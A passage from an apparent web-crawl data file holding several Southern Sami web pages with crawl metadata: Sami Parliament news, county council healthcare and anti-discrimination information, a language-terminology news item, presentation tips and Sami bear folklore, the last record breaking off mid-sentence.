Dahkoe filmesne lea filme-darjojen fuelhkien bïjre jïh buerkeste guktie byjjenidh gosse eejhtegh göökte ovmessie aalkoealmetje-dåehkijste, akte saemie jïh mubpie blackfoot-almetje.\nVuartesjh filmem Rebel (Bihttoš). Nuhtjh daam tjaeleme-maallem gosse datne filme-analysine barkah.\nRelatert innhold\nCC BY-SASkrevet av Sissel Stokkedal, Ragna Marie Tørdal og Tina Andersson Jensen.\nSist faglig oppdatert 04.04.2018","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ndla.no\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:178022","date":"2024-04-25T08:55:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712297290384.96\/warc\/CC-MAIN-20240425063334-20240425093334-00614.warc.gz","language":"sma","language_score":0.9943445921,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9943445920944214}","num_words":54,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieDievasčoahkkin\nLávdegoddečoahkkimat álget vuossárgga čakčamánu 26. b. dii 09.00 ja loahpahuvvojit maŋŋebárgga čakčamánu 27. b. dii. 17.00 rádjái.\nDievasčoahkkin álgá gaskavahku čakčamánu 28. b. dii. 09.00 ja loahpahuvvo bearjadaga čakčamánu 30. b. dii. 15.00 rádjái.\n-\nSaernieOrre Saemiedigkiebïevnese båatsoen bïjre\nSaemieh edtjieh stoerre tsevtsemenuepieh utnedh nöörjen båatsoepolitihkesne, daate akte raeriestimmie dennie orre saemiedigkiebïevnesisnie båatsoen bïjre.\n-\nSaernieOrre saemien budsjedtegiehpiedimmijste åevrede\nSaemiedigkiepresidente Aili Keskitalo åevrede jienebh budsjedtegiehpiedimmieh båetieh daan jaepien staatebudsjedtesne. Saemiedigkiepresidente Aili Keskitalo åevrede jienebh budsjedtegiehpiedimmieh båetieh daan jaepien staatebudsjedtesne.\n-\nSaernieSápmi Pridem dåarjohte\nSaemiedigkie Sápmi Pridem dåarjohte mij öörnesåvva Guovdageaidnusne mïetsken 26. – 28.b. 121.000 kråvnajgujmie.\n-\nSaernieGulliegïele: raeresth kandidaath!\nGïeleprijse juakasåvva aajne almetjidie, dåehkide, åårganisasjovnide, siebride jïh institusjovnide mah leah åajvoehlaakan tjaaleldh-, njaalmeldh- jallh jeatjaj barkoej tjïrrh barkeme guktie saemien gïelem evtiedidh. Maahta prijsen beetnegh juekedh...\n-\nSaernieGovlehtimmie: Orre politihke saemien lidteratuvrese\nSaemiedigkieraerie orre politihkem sæjhta juktie saemien lidteratuvrem nænnoestehtedh, jïh daan sjïekenisnie aktem govlehtimmieboelhkem tjïrrehte saemien gærja- jïh lidteratuvresuerkine. Prosesse edtja aktine reektestimmine galhkedh orre saemien lidteratuvrepolitihken bïjre Saemiedigkien stoerretjåanghkose goeven 2016.\n-\nSaernieAerpievuekien jeanoevïnhtsebigkemem vuesiehtidh\nSaemiedigkieraerie 184 400 kråvnah dåårje Sámiid Vuorká-Dávvirat\/ Saemien Våarhkoe RiddoDuottarMuseat Karasjohkesne juktie kuvsjem hööltedh aerpievuekien jeanoevïnhtsebigkemisnie, jïh barkoem vïnhtsebigkeminie vihtiestidh.\n-\nSaernieSámediggi giellaofelažžan\nSámediggi bargá beaivválaččat sámegiela nannet ja ovddidit. Dál háliida Sámediggeráđđi oažžut digaštallama Sámedikki iežas giellageavaheami birra.\n-\nSaernieJienebh åarjelsaemien tjïelth reeremedajvesne vaajtele\nSaemiedigkiepresidente Aili Keskitalo lea laejhtehks ihke Tjïelte- jïh orrestimmiedepartemeente ij sïjhth ohtsemem Aarborten tjïelteste gïetedidh juktie meatan sjïdtedh saemien gïelen reeremedajvesne, åvtelen Saemien gïelemoenehtse lea gaervies so...\n-\nSaernieBeaivváš beetnegh åådtje\nSaemiedigkieraerie raereste 1,2 millijovnh kråvnah dåarjodh Beaivváš Sámi Našunalteahterasse juktie feestevuasahtallemem «The Yoik Consert: Eallin mokta – Jielemen aavoe» tjïrrehtidh heevehtimmesne Tråante 2017.\n-\nSaernieSámedikki čilgehus sámi girjjálašvuođa birra\nSámediggeráđđi lea bargagoahtán čilgehusain mii galgá geahčadit sámi girjjálašvuođa stuorát oktavuođas ja hábmet eanet ollislaš politihka dan suorggis. Sámedikkis leat iešguđet áŋgiruššamat, ja váikkuhangaskaoamit, girjjálašvuođasuorggis. Čilgehus...\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.saemiedigkie.no","date":"2016-09-28T17:00:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661640.68\/warc\/CC-MAIN-20160924173741-00276-ip-10-143-35-109.ec2.internal.warc.gz","language":"sma","language_score":0.9931741357,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.993174135684967}","num_words":345,"character_repetition_ratio":0.074,"word_repetition_ratio":0.006,"special_characters_ratio":0.141,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laantedigkie Dalarnisnie tsavtshvierhkieh abpe leenesne åtna, noerhteste Eajreste jïh åarjese Krylbo gåajkoe. Mijjen åejviedïedte gaajhkesidie jallh mah guessine Dalarnisnie seamma healsoe- jïh skïemtjehåksoem jïh baeniehåksoem faalehtidh. Mijjen aaj dïedte geehtedh guktie kultuvre, daajroe- jïh byjreske Dalarnisnie evtede, nemhtie dam dajven evtiedimmiem dåarjobe goh kultuvrem, ööhpehtimmiem jïh kollektijvevalkesem.\n\"Viehkiedihks gïete\"\nDajvesne mahte seamma stoere goh Belgien Laantedigkie Dalarnisnie tsavtshvierhkiem åtna. Mijjen tsavtshvierhkie abpe leenesne, noerhteste Eajreste jïh åarjese Krylbo gåajkoe. Mijjen dïedte gaajhkesh gïeh daesnie årroeh jallh guessine daesnie seamma healsoe- jïh skïemtjehåksoem åadtjoeh. Aelhkieslaakan maahta jiehtedh laantedigkien barkoe edtja viehkiedihks gïete årroejidie laantedigkiedajvesne årrodh evtemes healsoe- jïh skïemtjehåksosne.\nHealsoe- jïh skïemtjehåksoe\nLaantedigkien dïedte guktie bijjietjaalegisnie dovne årroejih healsose jïh dan håksose mejtie daarpesjieh gåessie jïh jis skeamtjoej.\nHåksoedaarpoe stuerebe sjïdteminie. Årrojh båarasåbpoe sjidtieh gosse dotkeme jïh buerebe daajroe guktie starnedehtedh evtede. Jeenjebh skïemtjelassh mestie aerebe sealadi daelie maahta starnedehtedh saaht båarasåbpoe sjidtieh. Medicinske teknihkem daase åesiestidh aaj læssene.\nGosse daarpoem skïemtjehåksoste vaeniedidh laantedigkie aaj barka åvtelbodti hoksedh, jiehtebe almetjehealsoebarkoe.\nRæhpas håksoe – dïhte lïhkemes\nRæhpas håksosne vijrieslaakan barkebe. Dajvedåaktere sov håksoetjïertine skïemtjehåksoem goh ietniehåksoe, maanahealsoehåksoe, hïejmehåksoe jïh almetjidie åvtelbodti hoksedh. Skïemtjehåksoe daelie ræhpasabpa sjïdteminie, nemhtie dam sjïere juhtemh jïh håksoe mah jeenjem daarpesje gïllebe sijjine åtna. Ræhpas håksoe sneehpes jïh eadtjohkes håksoem faalehte jïh dejtie gïeh daarpesjieh sjïerehåksose bïhkede gosse jïjtsene vierhtieh ij nuekies.\nSkïemtjegåetie vïjhte sijjine\nDah skïemtjegåetieh mah somatiske (bolle) håksoem faalehtieh vïjhte sijjine Dalarnisnie gååvnesieh: Avesta, Borlänge, Falun, Mora jïh Ludvika. Säteren skïemtjegåetesne psykiatriske skïemtjehåksoe.\nMaanahealsoehåksoe\nMaanahealsoehåksoe Sveerjesne lea joekoen. Ij leah barre dan åvteste namhtah dovne eatnan jïh maanese gossege 19 jaepien båeries. Aaj joekoen dan åvtese vijries jïh buerie. Healsoegïehtjedimmieh dam orre årrojem dåerede gossege studentine galhkeme jïh baeniehåksoe Almetjebaeniehåksoen tjïrrh namhtah gossege 20 jaepie illeme.\nLaantedigkien Dalarnisnie aaj dïedte dajvem evtiedidh, dovne ööhpehtimmien, kultuvren jïh kollektijvevalkesen tjïrrh. Måedtielaakan dåarjobe jïh meatan libie leenem evtiedidh.\nAlmetjebaeniehåksoe\nGaajhkesh gïeh Dalarnisnie årroeh nuepiem buerie baeniehåksose. Dïhte laantedigkien dïedte. Dovne jïjtsene Almetjebaeniehåksose jïh privaate baeniehåksose.\nBaeniehealsoe Dalarnisnie lea joekoen buerie dovne geerve almetjidie jïh maanide. Dan åvteste guhkiem jïh åvtelbodti baeniehåksojne barkeme.\nKultuvre\nLaantedigkie dïhte stööremes mij beetnehvierhtiejgujmie leenen maehteles kultuvreinstitusjovnide dåarjohte, nemhtie dam stoere dïedtem åtna leenen tjïeltigujmie, sïebrejielieminie jïh kultuvrebarkijigujmie kultuvrem Dalarnisnie gorredidh jïh evtiedidh.\nDïhte dajven kultuvre edtja leenen årroji kultuvre daarpoem eadtjalgovvedh jïh meatan årrodh dajvem evtiedidh.\nLaantedigkie dajven organisasjovnide dåårje, kultuvresjïelh jïh stipendh joekedieh jïh vuartesje guktie kåanstetjeahpoe jïh jeatjah kåanstevierhtieh vååjnesasse.\nÖöhpehtimmie\nAkte vihkeles tsavtshvierhkie laantedægkan lea ööhpehtimmie. Dïhte dovne jåarhkeskuvlem- jïh geervealmetje ööhpehtimmiem faerhmeste dovne miehtjieburrie maahtoem jïh musihkem\nLaantedigkie aaj ööhpehtimmiem golme jïjtsene almetjejolleskuvline åtna jïh aaj leenen almetjejuhtemejolleskuvlide dåarjohte.","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.ltdalarna.se\/Om-webbplatsen\/Other-languages\/Saemiensamiska\/Maam-laantedigkie-dorje\/","date":"2016-12-05T00:30:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541517.94\/warc\/CC-MAIN-20161202170901-00195-ip-10-31-129-80.ec2.internal.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":417,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Håksoejarnge\nGosse datne jallh guhte lïhkesadtje skeamtjoe jïh raeriem biejjege aarkebiejjien daarpesjh, ringkh dov håksoejarngese.\nDajvedåaktere jallh håksojh dejtie sïejhme dåeriesmoeride healsoen bïjre håksa, vuesehte jallh jis daerpies jeatjah sjïerehåksose vuesehte.\nSkïemtjehåksoeraeriestimmie 1177 webb-sijjesne jallh tellefovnesne\nJis ih dam dov håksoejarngem raeriem mietie jaksh maahtah abpe tïjjem Skïemtjeraeriestimmine govlehtalledh mij dovne tellefovnesne 1177 jïh webb-sijjesne: 1177.se\nMaehteles skïemtjesåjhterh datnem raeriestieh jïjtsehåksoen bïjre jïh dovne dan håksose vuesiehtieh maam daarpesjh.\nAkutmottagningen\nGosse dåakterem dallegh daarpesjh: ringkh dov håksoejarngese jallh Skïemtjeraeriestæmman 1177 aerebe Akutmottagningen gåajkoe vualkah\nJis joekoen fuehpie jïh datne jallh guhte lïhkesadtje dallegh viehkiem daarpesjieh ringkh 112.\nAkutmottagninge ræhpas gaajhkh biejjieh, abpe tïjjen.\nDallegh viehkie jis joekoen fuehpie jïh ambulans – Daalkesebïevnesh dallegh\nRINGHK 112","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.ltdalarna.se\/Om-webbplatsen\/Other-languages\/Saemiensamiska\/Giejnie-edtjem-govlehtalledh-jis-manne-jallh-guhte-likesadtje-skeamtjoe-jallh-irhkesavva\/","date":"2017-02-24T05:52:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171416.74\/warc\/CC-MAIN-20170219104611-00065-ip-10-171-10-108.ec2.internal.warc.gz","language":"sma","language_score":0.9999995232,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999995231628418}","num_words":109,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Healsoe- jïh skïemtjehokse lea sierredimmielaakedorjemisnie (Lag 2008:567). Dïhte lea bïedtehtovveme sierredidh healsoe- jïh skïemtjehoksesne jïh jeatjah medisijneles barkosne. Dah barkoeh mej leah healsoe- jïh skïemtjehokselaaken mietie jïh aaj baeniehokselaaken mietie.\nIj sierredimmie åadtjoeh gååvnesidh dan sjïeken mietie tjoelh (nyjsenæjja jïh kaarre), tjoeleraastedåeresth identitete jïh\/jallh lahtesh, seksuellen syjhtede, nåakebe svihtjemeheaptojne, etnisitete, religijovne jallh jeatjah jaahkoejieleme. Sierredimmie aalteren gaavhtan ij leah meatan healsoe- jïh skïemtjehoksesne, mohte jaepien 2010 raejesne lea goerehtimmiem båateme mij evtede guktie dåarjoem vijriedieh aalteresierredimmien vööste maahta årrodh jïh dellie aaj healsoe- jïh skïemtjehokse dan sisnie.\nGosse tjoelem (nyjsenæjja jïh kaarre) gïetede dellie ij heerredh nyjsenæjjah jïh kaarrh joekehts gïetedidh jis lea maereles jïh dah vierhtieh mah utnieh lea sjiehteles jïh daerpies jis galka ulmiem jaksedh. Vuesiehtimmien gaavhtan joekehts kråahpehaamojde jallh daalkesh-åasan stuaradahkem gïetedidh.\nJis datne vïenhth naan datnem sierredamme jïh datne sïjhth naan datnem galka dåarjedidh jallh sïjhth dam bievnedh, dellie voenges antidiskrimineringsbyrå:em bïeljelidh telefovne 063- 14 89 95 jallh e-påastine email@example.com Datne maahtah aaj diskrimineringsombudsmannen (DO) bïeljelidh telefovne 08-120 20 700 jallh e-påastine firstname.lastname@example.org\nJis datne sïjhth jeenjebh bïevnesh, bïeljelh laantedigkien gellielaaketjestratege Anna Ebenmark telefovninie 063-14-76 32 jallh e-påastine email@example.com\nSidansvarig:Gun Råberg Kjellerstrand, tel: +4663147737, e-post: firstname.lastname@example.org.\nHittar du fel eller har synpunkter på innehållet, meddela\nSenast uppdaterad 2012-11-09.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/jll.se\/omoss\/informationpaandrasprak\/aarjelsaemiesame\/sierredimmiediskriminering.4.60018e7312debfe732b80009603.html","date":"2017-02-22T01:44:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170875.20\/warc\/CC-MAIN-20170219104610-00627-ip-10-171-10-108.ec2.internal.warc.gz","language":"sma","language_score":0.999961853,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999618530273438}","num_words":189,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Giellagaldu lea akte digitaale baakoe gærja internedtesne, gusnie maahta baakoeh noerhtesaemien, juvlevsaemien jih åarjelsaemien jih anaresaemien gielesne ohtsedidh.Giellagaldu lea akte giele prosjeekte mij lea SPR (Saemien Parlamentariske Raerien)nuelesne. Dah Saemiedigkieh Sveerjesne, Nøørjesne jih Såevmiesne utnieh daam gïele ektiedimmie prosjeektem.\nBijjelen 300 åarjelsaemien baakoeh.\nAkte jih bielie jaepien, daate Samigiellagaldun, åarjel saemien giele tjïerte, tjåanghkenamme jih baakoeh bijre dåhkasjamme jih nænnoestamme. Suehpeden asken daejnie prosjeekte boelhkene gelkiehtieh. Daan våhkoen dihte gïele-tjïerte Staaresne tjåanghkenamme.\nSiri Kappfjell Päiviö lea samigiellagaldun åarjelsaemien gïele-konsuvlente jih dihte tuhtjie luste vihth gaavnedidh jih gïele- tjïertene barkedh.\n–Mijjieh orre baakoej gujmie barkeminie, termonologijem bijre normeradidh jih dah orre baakoej bijre digkiedidh jih nænnoestidh. Gellieh baakoe læstoeh edtjebe nænnoestidh.\nUktsie saemien gïele-konsuvlenth samigiellagaldun gïele prosjeektine barkeminie.\nGøøkte åarjel saemien konsuvlenth, gøøkte juvlev saemien , golme noerhte saemien jih akte anare saemien jih akte skoltesamien konsuvlente. Dah baakoe læstoeh samigiellagaldu.org nedte bielesne gaavnedidie,jeahta Kappfjell Päiviö.\n– Gaajhkesh åadtjoeh daejtie baakoe læstojde nuhtjedh jih håhkoem åtnam, learohkh, lohkehtæjjah jih gielebaarkijh, daejtie baakoe læstojde nuhtjieh jeahta Siri Kappfjell Päiviö.\nBaakoe- gærja.\nGïele tjïerte saemiedigkeste veeljesovveme jih Karin Rensberg Rihpa akte dejstie mij jijnjem barkeme.\n-Manne øøvre bååhperim daan sov jijnje barkoe lij. Gellieh aejkien Hang Out tjåanghkoeh orreme, dihte lea gåessie daatan tjirrh tjåanghkanibie jih ektesne barkebe. Håhkoem åtnam, daejstie baakoe- læstojste, baakoe-gærja sjædta, jeahta Rensberg Rihpa.","id":"","dump":"CC-MAIN-2017-13","url":"https:\/\/www.nrk.no\/sapmi\/giele-gaaltije-1.11613067","date":"2017-03-28T21:50:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189903.83\/warc\/CC-MAIN-20170322212949-00382-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999051094,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999051094055176}","num_words":212,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaskesadth healsoejarngem webbine — aelhkies, vihties jïh rihpes gosse datne asth.\nMijjieh daejrebe jïjnjh jïjtjh maehtieh jïh sijhtieh. Dan dïehre mijjieh daelie webbedïenesjem aelkiestibie. Dïhte sæjhta jiehtedh dutnjien nuepiem vedtebe jïjtje sïjse loggedh jïh aelhkebe hokseïeride jïjtje darjoeh viehkiem\nwebbine, - abpe dygnem, ih daarpesjh telefovnine vuertedh. Dïhte lea jearsoes jïh vihties, jïh gaajhkem maam tjoerh darjodh lea persovneles utnijekontoem skååffedh.\nMov hoksegaskesh edtja healsoejarngine jïh dåastovinie Jïemhten lïenesne sjïehtesjidh. Sjïehtedimmie suksesijveles sjïdtede jïh voestes lea healsoejarngh Bräcke, Frösön, Lugnvik jïh Zätagränd. Jïjnjh dïenesjh Mov hoksegaskesine gååvnesieh jïh dïhte lea fïerhte hoksejarnge mij jïjtje nænnoste maam mij galka dan sisnie årrodh. Healsoejarngh aelkieh dejtie dïenesjidie faaledh: tïjjem jeatjahdehtedh, reseptem orrestidh, viehkievierhtieh orrestidh, preventijvedeerpegh orrestidh jïh raeriestimmieh vedtedh. Faaleldahkem maahtah evtiedidh.\nPersovneles kontoem skååffh jïh aelkieh dïenesjidie nåhtadidh\nGöökte vuekieh gååvnesieh guktie persovneles utnijekontoem Mov hoksegaskesidie skååffh. E-legitimasjovnine jallh persovnenummerinie jïh tjeakoesbaakojne. Jis datne e-legitimasjovnem veeljh maahtah dallh dïenesjem nåhtadidh. Jis ih joe lea e-legitimasjovne maahtah dam dov baanghkine jallh Telia:ine skååffedh.\nKontoem skååffh\nLingkem diedtieh Skaffa konto dan nualan\nJis persovnenummerem jïh tjeakoesbaakoem veeljh dellie dov persovnenummerem dievhtieh, njoelkedassh jååhkesjh jïh båaloem Skaffa konto diedtieh. Datne tjeakoesbaakoeprievie påastine måedtie biejjiej raejesne. Jis e-legitimatsjovne åtnah dellie dallah maahtah dan sïjse loggedh.\nLoggedh sïjse\nLingkem Logga in dan nualan diedtieh. Orre sæjroem rihpese. Dievhtieh dov persovnenummerem jïh tjeakoesbaakoem jallh veeljh e-legitimasjovnem jïh diedtieh båaloem Logga in.\nGuktie maahtah vaestiedassem dåastovistie lohkedh tjorh vihth dan sïjse loggedh.\nPersovneles sjïehtesjimmieh\nBiejjiebaakoen Personliga inställningar nuelesne, gosse datne leah dan sïjse loggeme, maahtah datne dov e-påastesijjiem jallh dov mobijletelefovnenummerem tjaeledh guktie datne dïjrem e-påastine jallh SMS:ine åadtjoeh gosse dïjrem Mov hoksegaskesasse båata.\nSkaffa konto (sveerjen gïelesne)\nLogga in (sveerjen gïelesne)\nGlömt lösenord (sveerjen gïelesne)\nLogga in som personal (sveerjen gïelesne)\nJeenjebh bueriedimmieh\nMov hoksegaskesh sjïehtesje lea akte jeenjh sillijste maam laantedigkie tjïrrehte guktie webben dïenesjem bueriedidh. Orresth lea webbesæjroen bueriedamme vuesiehtimmien gaavhtan håaleme webbe, aelhkebe navigereme struktuvrine jïh nuepie maahtah lïenen healsoejarngh sinsitniem mohtedidh. Dan tjaktjen aaj bïevnesh skïemtjelassi bïjre, gïetedimmi bïjre jïh jïjtjehokseraerieh evtiedidh.\nMijjieh gegkestibie jïh jaehkebe datne gie sïjhth Mov hoksegaskesh utnedh tuhtjh dah aevhkies. Datne gie sïjhth hoksejarngem telefovnine bïeljelidh maahtah dam amma darjodh.\nViehkiem Mov hoksegaskesh\nSupportasse ringkh 08-123 135 00 — rihpes fïerhten biejjien 8-21.\nMaahtah aaj supportasse gaskesadtedh kontakta supporten via Internet\nIh Mov hoksegaskesh nåhtedh gosse akute jallh jielemeaajhteme tsiehkine. Ringkh dellie 112.\nBuerie båeteme Mov hoksegaskesh Jïemhten lïenesne nåhtedh!\nSidansvarig:Gun Råberg Kjellerstrand, tel: +4663147737, e-post: email@example.com.\nHittar du fel eller har synpunkter på innehållet, meddela\nSenast uppdaterad 2012-10-22.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/jll.se\/omoss\/informationpaandrasprak\/aarjelsaemiesame\/movhoksegaskeshminavardkontakter.4.60018e7312debfe732b80009697.html","date":"2017-03-27T12:28:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189472.3\/warc\/CC-MAIN-20170322212949-00037-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999924898147583}","num_words":401,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njaalmeldh åehpiedehteme\nDan nuelesne naan buerie raerieh gåessie datne edtjh jeatjabidie maam soptsestidh, lohkedh, åehpiedehtedh jallh buerkiestidh.\nAalkoe lea vihkielommes\nVoestes minudte lea vihkielommes. Aellieh aelkieh iktedimmine jallh sisveginie. Buerebe jis datne aalkah soptsesinie, sitaatine jallh jiehtieginie.\nGaertjedh dov aamhtesem\nBuerebe jis datne naan vihkeles tsiehkieh veeljh enn gaajhken bïjre gusnie jïjnjh bïevnesh, smaave biehkieh nommigujmie jïh taaligujmie.\nNuhtjh vihties jïh tjïelke vuesiehtimmieh\nBaajh sisvegem jieledh. Nuhtjh vihties jïh tjïelke vuesiehtimmieh, jïh jielije soptsestimmievuekiem.\nSoejkesjh guktie sïjhth soptsestidh\nSoptsesth jeereldihkie gïeline. Datne maahtah soejmetji jallh snååhpehke, reegkes jallh soejme gïeline. Mujhtieh aaj voejngehtidh.\nSoejkesjh mah viehkievierhtieh sïjhth utnedh\nJis datne guvvieh tekstine vuesehth aellieh dan jïjnjh fïerhten gåvvan tjaelieh jïh ij baajh dejtie guvvide åejvie-aamhtesem sjïdtedh.\nGovlesadth goltelæjjide\nGutnedh goltelæjjide. Voejhkelh jïenesidie goevlelidh jïh dejtie aaj jaksedh tjelmiejgujmie. Dah goltelæjjah sijhtieh damtedh datne dejtie soptsesth, jis dah föörhkedieh jallh bååhperieh dellie vuertesth ånnetji.\nVueptesth dov kråahpegïelem\nTjåadtjoen soptsesth. Nuhtjh kråahpegïelem. Aellieh tjåadtjoeh gïeth låammine, marhta- jallh kroessegïeti.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/163215?fag=126960","date":"2017-03-30T04:44:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00316-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000020265579224}","num_words":157,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïernen bïjre\nBïerne\nBïernen lea sjïere sijjie saemiej jieliemisnie jïh jaahkoemisnie. Dïhte ihke bïerne dejnie sov stoerre botnine daelvegi, gellie askh meehti åeredh beapmoe-namhtah jïh tjaetsie-namhtah dïhte lij nåejties. Gïjre doekoe dellie gaavmoste göökte jorpe tjovkigujmie bööti mejtie lij skuarhtjadamme jïh njammehtamme.\nSåemies aejkien lij bïerne vietseles muerjie-bårrije, mubpiej aejkiej lij måeresne jïh geekten-jealkege tjöödtjesti jïh snirri jïh åvtes-juelkiejgujmie jaemedem steereminie. Nyjsenæjjijste lij geerjene jïh dåajmetje lij dej vööste - jis ij lin baerniem beelhten nuelesne guedtieminie, guktie maa bïerne meehti dam daejredh? Bïerne tjoeri nåejtie årrodh. Kaarri vööste lij hatsves; dejtie vijrijinie vööjni.\nBïernen bïjre leah jïjnjh jaahkoeh jïh vuekieh. Dan bïjre maahtah gærjine lohkedh gusnie saemiej kultuvren bïjre tjaelieh. Nimhtie lij gosse bïernem vuatjeme, dellie vijrijh eensilaakan tjoerin geehtedh olles idtjin naan måaroej sontere båetieh gosse edtjin leekedh jïh smeejvedh. Mænngan byöpmedamme dillie dujmiesligke gaajhkide måarojde krogkestin jïh gellien aejkien aaj sjïelem dan krogkese bïejin: slaapmah, tsagkeldh. Gaajhkesh dovnesh deejrin bïernen faamoe vihth sïjhti fahkedh, jïh måaroeh orre bïernine sjïdtedh. Vaepiedodtjh vijrijh mejtie lin arhkeme! Gosse baernie jïh nïejte sinsitniem gearoedin, dillie doh jeatjebh dejtie sietjkin guktie tjoerin jïjtje soptsestidh guktie lij. Voejhkelin rïpmedh edtjin tjïekedidh, jïh nïmhtegh laavetje-guaktah dåalvoejin stoehki bijjelen, gierkiej baaktoe, sermiej tjirrh jïh johki rastah. Åarjel-saemieh daam stååkedimmiem gåhtjoeh: Bïerne-vuetjeme jallh Bïerne-væjroe.\nGaajhkh provresh tjoerin låahran nelnie pruvredh, jis mïetes-lohke edtji madtjelostedh.\nGellie soptsesth leah bïernen bïjre guhte nyjsenæjjam ryövi. Tjoeri bïernine gaavmosne jieledh, tjidtjebe sjïdti elties almetjen maanide jïh iktesth lij gåmmabasse gïemhpesh jïh dåajmije. Nyjsenæjja guhte naemhtie ryövelgovvi dïhte abpe daelviem gaavmosne sjïdti jïh idtji abpe daelvesne byöpmedh. Gosse bårrestovvi dillie bïernen juelkie-låapoeh skeeni, jïh nimhtie hïegkem gorredi.\nSaemien heamturh leah sagke jeatjhlaakan daarojste jïh svïenskijste. Eah saemieh naan aejkien slåahten bïjre soptsesth. Ij leah gåessie soptsese gusnie bïerne lea båarhte abpe biejjiem jïh gånkan-baernine jïjjese sjædta. Ij leah mij nïejten bïjre gie ov-vïssjeles sjædta jïh gaajhkem goerpedahta, guktie alvas geajnoem åådtje vaedtsedh aerebi vihth sov baerniem gaavna.\nSaemieh leah aaj ussjedamme bïerne - goh jeatjah juvrh - meehti almetjem jïjtse hammosne tjïekedh.\nAlmetjh gååvnesin mah faamoem utnin jeatjah almetjem juvrine jorkesidh. Dah lin nåejtieh, sjïele-hearrah jïh mievriestæjjah. Gosse almetjem edtjin (juvrehammose)juvrehamman bïejedh die tjoerin veeljedh dam juvrem mïsse almetje plïeresadtje. Dïhte guhte hammosne dïhte meehti ussjedidh jïh damtehtalledh goh aerebi. Dïhte tjoeri desnie årrodh goske nåejtie gærroem luejhtieji jallh aaj goske jeemi, jallh aaj goske hammoe idtji vielie sjïehth juktie mïele jorkesovveme.\nDah guhte bïerne-hammoen sïjse nåejtiesovveme dah lin rååpehke jïh veaksehke.\nFilmesne maahtah vuejnedh guktie Ossian Elgström vïenhti saemieh bïernem 